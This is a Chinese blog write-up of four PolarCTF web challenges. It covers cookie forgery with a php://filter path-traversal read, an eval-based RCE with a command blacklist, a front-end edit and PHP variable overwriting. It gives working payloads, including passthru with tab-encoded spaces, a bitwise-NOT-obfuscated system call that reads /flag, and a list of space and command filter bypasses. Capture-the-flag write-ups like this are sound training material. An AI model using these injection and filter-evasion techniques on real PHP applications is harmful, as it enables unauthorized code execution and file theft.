polarctf靶场 【web】签到题、简单 rce、蜜雪冰城吉警店、到底给不给flag呢

[web]签到题

考点:Cookie伪造、php伪协议、双写绕

查看源代码

再用bp抓包,根据题目是弟弟,Cookie伪造,将no改为yes

发送

看到可能是base64编码,将其解码

访问其目录

php伪协议结合双写绕过,用伪协议以base64编码进行内容读取

?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag

再进行base64解码

[web]简单 rce

考点:rce

<?php
highlight_file(__FILE__);    //对文件进行语法高亮显示

function no($txt){			//定义一个no函数,并传入变量txt
    if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){	   //preg_match 函数用于执行一个正则表达式匹配
    return $txt;			//返回参数值
    }else{
		die("what's up");   //输出一条消息,并退出当前脚本
    }
}

$yyds=($_POST['yyds']);		//通过POST方式传递参数yyds
if(isset($_GET['sys'])&&$yyds=='666'){  //通过GET方式传递参数sys;并判断
  eval(no($_GET['sys']));			//调用no函数,并输出
  }else{
    echo "nonono";					//输出nonono	
	}
?> 

命令执行函数:

system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。(替换system)
shell_exec()
popen()/proc_open()

输出函数:

cat函数 由第一行开始显示内容,并将所有内容输出
tac函数 从最后一行倒序显示内容,并将所有内容输出
nl      类似于cat -n,显示时输出行号
more    根据窗口大小,一页一页的现实文件内容
less    和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head    只显示头几行
tail    只显示最后几行
sort    文本内容排列
uniq    可以查看
vim     一种编辑器,这个也可以查看
od      以二进制的方式读取档案内容
vi      一种编辑器,这个也可以查看
strings  在对象文件或二进制文件中查找可打印的字符串, 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
paste	把每个文件以列对列的方式,一列列地加以合并
grep	grep { flag.php打印有”{“的一行
sed		一种编辑器,可以用sed -f flag.php读取flag

空格绕过:

${IFS}
{IFS}$9
$IFS$9
重定向符:<>(但是不支持后面跟通配符)
水平制表符%09
%0a 回车
%0d换行
$IFS$1
%09(tab)
%20(space)
$IFS
<

方法一:使用未被过滤的命令 ,passthru没有被过滤,%09替换空格。

sys=passthru("ls%09/")

sys=passthru('sort%09/flag');

方法二:字符串转义绕过;适用PHP版本PHP>=7

以八进制表示的\[0–7]{1,3}转义字符会自动适配byte(如"\400" == “\000”)
以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41")
以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串
URL编码协议规定(即 RFC3986 协议):URL 中只允许包含英文字母、数字、以及这 4 个 - _ . ~ 特殊字符和所有的保留字符


sys=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

[web]蜜雪冰城吉警店

考点:前端修改

查看和源代码,前端修改id=9,

返回页面,点击所更改后的按钮1

[web]到底给不给flag呢

考点:变量覆盖

GET,POST需要有一个满足key为flag的传参。并且value不能等于flag,若想输出执行到最后输出flag,那么变量覆盖时候不能将$flag 的值等于除flag 外的任意值,也就是说在foreach内的变量覆盖过程,需要实现

$$key = $flag
$$value = $flag
$$key = $flag

payload如下

#GET参数
?flag=xxx
#POST参数
_GET[flag]=flag
代码执行过程如下

第一个foreach 循环处理$_POST​数组,传值为_GET[flag]=flag​,变量覆盖过程为

$$key = $value
$key = "_GET";
var_dump($value);#array(1) { ["flag"]=> string(4) "flag" }
$$key = $value;#array(1) { ["flag"]=> string(4) "flag" }

此时注意GET数组的值,$ _GET["flag"]=Polar​,而经过$_POST​的变量覆盖,​$ _GET =array(1) { ["flag"]=> string(4) "flag" }<span> </span>​,故而最开始传GET参数时?flag=xxx,可等于任意值。因为会被POST变量覆盖完成后的值覆盖。

第二个foreach 循环处理$_GET​数组,变量覆盖过程为:

$$key = $$value
$key=flag;
$value=flag;
$$key=$$value;
$$key=$flag;
$flag=$flag;

即实现上述所说,变量覆盖时候不能将$flag的值等于除flag 外的任意值

方法2:

需要get一个flag和post一个flag。然后看了眼函数,其中foreach加上是经典的变量覆盖语句。但是post方法里面的$value没有,POST是可以不用传的。因为isset那里面是&&连接。所以直接get传参一个flag。

先c=flag然后让flag=c。这样被解析之后,就是c=flag&flag=c。从而达到真正输出flag的作用。而不会用一个变量c把flag=flag{xxxxxx}给覆盖。那么最后echo出来的就是flag。payload:

?c=flag&flag=c

  • 24
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

剁椒排骨

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值